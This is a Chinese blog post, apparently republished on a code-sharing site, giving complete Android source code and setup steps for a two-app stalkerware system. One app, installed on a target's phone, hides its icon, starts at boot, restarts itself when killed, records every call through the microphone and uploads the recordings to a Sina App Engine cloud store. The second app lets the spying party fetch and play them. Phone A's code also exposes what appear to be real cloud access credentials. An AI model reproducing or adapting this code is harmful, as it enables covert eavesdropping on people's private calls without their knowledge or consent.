【Qzone】黑色星期二 好烦躁 通话录音 上传服务器 下载播放 亲测

来源:互联网 发布:淘宝网阳台红灯笼 编辑:程序博客网 时间:2024/04/29 11:05

2015-4-29 00:00

用自己手机和两舍友手机测试,可行!!

需求:A想在自己手机上监听听到B手机与C手机的通话记录。
分析:
    在B手机上安装一个APP,那么这个APP要求有如下功能
    1、隐藏图标
    2、后台一直运行,开机就运行
    3、任务管理器不能杀死,即使杀死也能重启动服务
    4、有监听电话状态功能
    5、有录音功能
    6、有将文件上传到服务器的功能

而A手机上安装的一个APP ,功能就需要的简单一点:
    1、从服务器下载文件
    2、调用系统功能播放文件

那么本次比较重要的就服务器端的搭建,搞了三天,不容易啊。

所以记录一下步骤:
    (服务器端)
    1. 到 资源下载 页面下载 后端应用 war 包;
    
2. 到 Sina App Engine 官网 (下称SAE) 创建 一个Java应用; 
    3. 在 SAE 应用管理中的 代码管理 中 新建版本 并将步骤1 下载作为 默认war包上传 ; 
    图片
    
4. 到 SAE 服务管理中的 KVDB 页面 点击 启用KVDB 数据库 ; 
    
5. 到 SAE 服务管理中的 MySQL 页面 点击 启用初始化MySQL ,并导入统计的SQL语句 ;
    图片
    6. 到 SAE 应用信息中的 汇总信息 页面中查看应用的accessKey和secretKey,并作为登入后端应用的用户名和密码。
    (客户端) 
  
    1. 到 资源下载 页面下载 SDK 包; 
    
2. 将 步骤1 下载的包(一个核心包cloudservice.jar和 两个依赖包 gson.jar httpmime.jar)导入开发的 Android 应用中; 
    3. 参见 SDK使用文档 来开发 Android应用。 
    (参见网址:
http://cloudbaas.sinaapp.com/docs/started.jsp) 

OK !!!上代码

B手机上的APP:
--清单文件
--/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.devwang.autoopenapp"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <!-- 隐藏图标 -->
                <!-- <category android:name="android.intent.category.LAUNCHER" /> -->
            </intent-filter>
        </activity>

        <service android:name="com.devwang.autoopenapp.AutoOpenService" >
        </service>
        <service android:name="com.devwang.autoopenapp.AutoOpenServicer" >
        </service>

        <receiver android:name=".BootBroadcastReciver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

--布局文件
--
/AutoOpenAppPhone/res/layout/activity_main.xml
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.devwang.autoopenapp.MainActivity" >

    <TextView
        android:id="@+id/tv"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:gravity="center"
        android:textSize="60sp"
        android:text="LOVE" />

</RelativeLayout>

--源代码
--主界面
/AutoOpenAppPhone/src/com/devwang/autoopenapp/MainActivity.java
package com.devwang.autoopenapp;

import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.widget.TextView;

@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}

TextView text = (TextView) findViewById(R.id.tv);
text.setText("LOVE!");

System.out.println("Service oncreate");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);

                //测试用 可不加 
finish();
}

}

--广播接收者
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/BootBroadcastReciver.java 
package com.devwang.autoopenapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

//开机启动完成的  广播接受者 在这里启动APP Activity
public class BootBroadcastReciver extends BroadcastReceiver {
static final String ACTION = "android.intent.action.BOOT_COMPLETED";

@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
if (intent.getAction().equals(ACTION)) {
//自启动界面
//Intent i = new Intent(context, MainActivity.class);
//i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//context.startActivity(i);
//自启动服务
Intent i = new Intent(context, AutoOpenService.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(i);
}
}

}

--服务
--
/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenService.java
package com.devwang.autoopenapp;

import java.io.File;

import android.annotation.TargetApi;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

@TargetApi(Build.VERSION_CODES.GINGERBREAD)
public class AutoOpenService extends Service {
// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;

final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";
final private String localpath = "sdcard/aa.3gp";

// private File file;

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}

@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("Servicer ondestory");

}

private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");

// if(file==null){
// System.out.println("null");
// }

System.out.println("start upload");

try {
boolean flag = CloudFile.upload(localpath);

System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}

System.out.println("end upload");

}

break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。

break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.设置录制的文件输出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();

System.out.println("Servicer ondestory");
Intent i = new Intent(this, AutoOpenServicer.class);
startService(i);
}

}

--
/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenServicer.java 
package com.devwang.autoopenapp;

import java.io.File;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class AutoOpenServicer extends Service {

// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;

final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";

final private String localpath = "sdcard/aa.3gp";

// private File file;

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}

// 服务创建的时候调用的方法
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
System.out.println("Service onCreate");

}

private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");

// 这里简单起见 只获取最近一次的通话录音 故在上传之前 先将服务器端的删除后再上传
// if (file == null) {
// System.out.println("null");
// }
System.out.println("start upload");

try {
boolean flag = CloudFile.upload(localpath);

System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}

System.out.println("end upload");

}

break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。

break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.设置录制的文件输出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
// 这里使用开始录音的时间作为文件名 为方便起见我们固定设置一个文件名如aa.3pg
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

// 守护进程 在次方法中 本服务会被销毁 此时可以启动新的服务
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();

System.out.println("Service ondestory");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);
}

}
 
A手机上的APP:
--清单文件
--
/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.devwang.phoneplay"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".MainActivity2"
            android:label="@string/app_name" >
        </activity>
    </application>

</manifest>

--布局文件
--
/PhonePlay/res/layout/activity_main.xml 
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.devwang.phoneplay.MainActivity" >

    <Button
        android:id="@+id/button1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_centerVertical="true"
        android:textSize="40sp"
        android:text="播放" />

    <TextView
        android:id="@+id/textView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="76dp"
        android:textSize="24sp"
        android:text="按播放按钮,播放TA最近一次的通话录音!" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignLeft="@+id/textView1"
        android:layout_alignParentTop="true"
        android:text="注意:TA的手机安装好那个APP后要关机重启"
        android:textSize="24sp" />

</RelativeLayout> 
--源代码
--/PhonePlay/src/com/devwang/phoneplay/MainActivity.java
package com.devwang.phoneplay;

import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {
final private String appname = "appsitejava";
final private String ak = "z1zmx2xxyj";
final private String sk = "wi00lw3xz2x054myl0142jkyiiizmwi125w0w204";
// final private String localpath = "sdcard/aa.3gp";
private Button play_btn;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 1.同步方式 获取云端路径为/text/readme.txt的文件
CloudFile file = null;
final String url;
try {
file = CloudFile.fetch("/sdcard/aa.3gp");
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
url = file.getUrl();// 通过这个url可以直接访问云端文件

play_btn = (Button) findViewById(R.id.button1);
play_btn.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
// TODO Auto-generated method stub
// 调用系统自带播放器
Intent intent = new Intent();
Uri uri = Uri.parse(url);
intent.setDataAndType(uri, "audio/*");
intent.setAction(Intent.ACTION_VIEW);
startActivity(intent);

}
});
}

}



使用方法:
在B手机安装B.apk 可以不要打开APP
将B手机关机重启 
在A手机 安装A.apk
B与C或其他手机通电话
A手机打开APP 点击播放 OK 

问题:只能录一方的声音 即只能录B方的声音 

图片
(换了个头像 哈哈哈) 
0 0